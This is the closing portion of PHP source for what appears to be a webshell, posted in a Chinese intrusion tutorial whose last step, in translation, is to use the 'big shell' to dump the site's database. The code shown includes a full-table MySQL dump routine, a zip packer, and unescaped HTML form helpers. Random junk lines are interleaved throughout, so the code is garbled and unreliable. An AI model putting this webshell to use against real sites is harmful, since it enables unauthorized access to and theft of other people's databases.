1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      . t( M8 H# d4 ^" K8 \' X! V
1779.         }
      
1780. }
      
1781. // 备份数据库
      
1782. function sqldumptable($table, $fp=0) {
      
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      $ I$ I) r; f, z6 K8 s6 M: h1 |7 I2 u
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      
1786.         $fields = q("SHOW FIELDS FROM $table");
      
1787.         while ($field = mysql_fetch_array($fields)) {
      ; E: N0 I) M' ]8 |# o2 K( C; ?
1788.                 if (!$firstfield) {
      4 C5 `! h  o9 }) E6 Z( I
1789.                         $tabledump .= ",\n";
      % I- C# `( n; _1 {
1790.                 } else {
      
1791.                         $firstfield=0;
      1 h7 ~2 g: B" d% y8 g
1792.                 }
      
1793.                 $tabledump .= "   $field[Field] $field[Type]";
        E0 l9 w* G& B) G. a% P7 Q0 o8 q
1794.                 if (!empty($field["Default"])) {
      % n/ Y4 I3 Y/ q! p8 Z
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      
1796.                 }
      
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      
1799.                 }
      * O' M7 M  K/ E; }
1800.                 if ($field['Extra'] != "") {
      9 q- L# J' a# J' m$ n. d
1801.                         $tabledump .= " $field[Extra]";
      , ~) j  D. O  o8 {6 t
1802.                 }
      
1803.         }
      ; n- B- m7 F* L  {, k
1804.         fr($fields);
      
1805.         $keys = q("SHOW KEYS FROM $table");
      : b0 }( M$ q" x" s- y
1806.         while ($key = mysql_fetch_array($keys)) {
      6 a+ z: a$ g1 n
1807.                 $kname=$key['Key_name'];
      : I2 y5 K0 r; A2 J, X$ d
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      0 Y4 R7 U( M3 ]
1809.                         $kname="UNIQUE|$kname";
      5 ]) j- H. G# c" V
1810.                 }
      4 L9 f* t6 y& X( i- }& f. O
1811.                 if(!is_array($index[$kname])) {
        e' D! U) ], V2 ]
1812.                         $index[$kname] = array();
      ( o7 p9 d( {% S* W: r3 ]/ l
1813.                 }
      ; b3 p& P; A- T7 g+ ^! N( }7 b4 _' m
1814.                 $index[$kname][] = $key['Column_name'];
      $ M. K5 N5 x4 R8 I- ?
1815.         }
      
1816.         fr($keys);
      
1817.         while(list($kname, $columns) = @each($index)) {
      
1818.                 $tabledump .= ",\n";
      
1819.                 $colnames=implode($columns,",");
      * r- Q& }  S0 l% T% k
1820.                 if ($kname == "PRIMARY") {
      2 Z5 h5 @; E( u6 Q7 V7 Z" T
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      
1822.                 } else {
      ; P3 {7 z- T$ Q8 K9 |
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
      
1825.                         }
      
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      
1827.                 }
      ' `+ V$ ^$ |! c. c$ w( A& J
1828.         }
      & M! v# m8 j1 |5 d1 Y/ L
1829.         $tabledump .= "\n);\n\n";
      % R. j& f1 ?% |9 \. I
1830.         if ($fp) {
      
1831.                 fwrite($fp,$tabledump);
      / G% l$ A* a! Y6 j
1832.         } else {
      
1833.                 echo $tabledump;
      
1834.         }
      - U4 E& L% j1 y6 Z+ D- E
1835.         $rows = q("SELECT * FROM $table");
      
1836.         $numfields = mysql_num_fields($rows);
      0 N9 n7 b7 D0 L* S2 m3 F
1837.         while ($row = mysql_fetch_array($rows)) {
      3 _/ L" B- U. s0 A
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      
1839.                 $fieldcounter=-1;
      
1840.                 $firstfield=1;
      5 t% t9 N2 J/ R4 b+ d1 ]% _
1841.                 while (++$fieldcounter<$numfields) {
      5 w- T' J9 k0 T7 M, N5 v
1842.                         if (!$firstfield) {
      9 e2 u) ?, D" r' y6 w2 u) P8 r
1843.                                 $tabledump.=", ";
      
1844.                         } else {
      
1845.                                 $firstfield=0;
      9 T& t7 a! E. R- G  P
1846.                         }
      
1847.                         if (!isset($row[$fieldcounter])) {
      
1848.                                 $tabledump .= "NULL";
      . q# h7 b% f" n1 l
1849.                         } else {
      
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      + w0 {3 g6 g6 J; s- h& C
1851.                         }
      
1852.                 }
      $ m+ {& y, d$ q; T6 |
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      % n. |  M5 a; [% R, i
1855.                         fwrite($fp,$tabledump);
      
1856.                 } else {
      * h) M: ~$ s: H5 X7 D4 ~6 w7 U/ O
1857.                         echo $tabledump;
      
1858.                 }
      5 u- S7 c$ X0 _( B
1859.         }
      
1860.         fr($rows);
      * a% ?2 b$ z7 R$ q  T& d( ?; Y0 Z4 U
1861.         if ($fp) {
      
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      3 n) p3 f! W# f. H1 l2 J6 _8 I
1864.                 echo "\n";
      
1865.         }
      
1866. }
      
1867. function ue($str){
      
1868.         return urlencode($str);
      2 o, @+ [, Q1 N/ p7 m2 e
1869. }
      1 e# D6 t; C! w' |: K
1870. function p($str){
      
1871.         echo $str."\n";
      
1872. }
      % J9 f/ I: E; j: s. |5 O
1873. function tbhead() {
      
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      % c) u# U" B! B/ P: J4 [
1875. }
      0 h2 f# y5 K$ @' \; _' q4 |
1876. function tbfoot(){
      
1877.         p('</table>');
      : ?; Z9 j$ B. O2 ^4 y1 n4 D
1878. }
      , O) f' U* N' N/ k
1879. function makehide($name,$value=''){
      
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      " z4 E/ x9 n1 F9 f4 K" T" ~0 i
1881. }
      + u% g$ T3 K0 s- s# X* H3 W' {
1882. function makeinput($arg = array()){
      ) C# d2 K  W0 J5 ]" B
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      1 [( t" e; y$ V5 I, e) x2 r6 c- h
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      
1885.         !$arg['type'] && $arg['type'] = 'text';
      
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      , Q5 i: o, b; l+ T% r
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      ; t* K" d+ f5 p* ]1 q& V7 w
1888.         if ($arg['newline']) {
      
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      
1890.         } else {
      4 g, O% R1 u* x  }
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      
1892.         }
      5 r9 t! b  T: {) L: {; M6 _. Z% `8 x- w
1893. }
      
1894. function makeselect($arg = array()){
      ! ~0 R& r; k& i% b, R  v
1895.         if ($arg['onchange']) {
      
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
        O3 \/ _7 T- |) Q
1897.         }
      
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      
1899.         if ($arg['newline']) p('<p>');
      7 i; G' _0 Q" `+ J0 ^- }' d
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      , t2 D( O! O) G* Z+ j$ H
1901.                 if (is_array($arg['option'])) {
      ' e% d2 G3 K5 S4 H- F
1902.                         foreach ($arg['option'] as $key=>$value) {
      
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      0 m' }5 y* R: q$ r% Q
1905.                                 } else {
      4 ^- e8 H5 m, `( I
1906.                                         p("<option value="$key">$value</option>");
      
1907.                                 }
      ( |: J! P+ S8 i, n
1908.                         }
      
1909.                 }
      ! v, ~4 n( W$ h
1910.         p("</select>");
      9 R! R! g1 f/ {: f; M
1911.         if ($arg['newline']) p('</p>');
      
1912. }
      # n5 K+ |. i* v+ `8 B4 g( P
1913. function formhead($arg = array()) {
      1 Z- K6 Z3 A1 L" H
1914.         !$arg['method'] && $arg['method'] = 'post';
      ! S; `5 ]4 d6 b% ~0 z" [7 J5 d; @
1915.         !$arg['action'] && $arg['action'] = $self;
      
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      5 o, x% D2 I5 z7 ~
1917.         !$arg['name'] && $arg['name'] = 'form1';
      1 I3 k/ O0 g7 r# `+ |
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      
1921.         }
      
1922. }
      
1923.        
      , A& [2 T/ i" c. S) c
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
      ; z2 ~. c3 P- W. A* g
1926.         !$arg['rows'] && $arg['rows'] = 25;
      6 ^: a+ n) @* N
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      
1930. 
      - {+ p# o/ J8 O9 k  R. s
1931. function formfooter($name = ''){
      
1932.         !$name && $name = 'submit';
      ) F3 r; L- m; c3 y
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      
1934.         p('</form>');
      
1935. }
      
1936. 
      $ N* Z, R4 p/ [2 B
1937. function formfoot(){
      ! G+ T: L" n% X: I+ o" q
1938.         p('</form>');
      * p4 b  p" L8 g0 Z* v
1939. }
      7 [9 n. o' o' H6 P( Z! M5 |  b
1940. 
      
1941. // 调试函数
      
1942. function pr($a) {
      
1943.         echo '<pre>';
      9 [3 X6 {% c! O8 I  H$ `# B$ Y
1944.         print_r($a);
      2 n- L- W* @4 }4 H" t- D3 l3 B
1945.         echo '</pre>';
      # B. ?% B: V5 |' }0 m8 K2 M; N
1946. }
      
1947. 
      
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库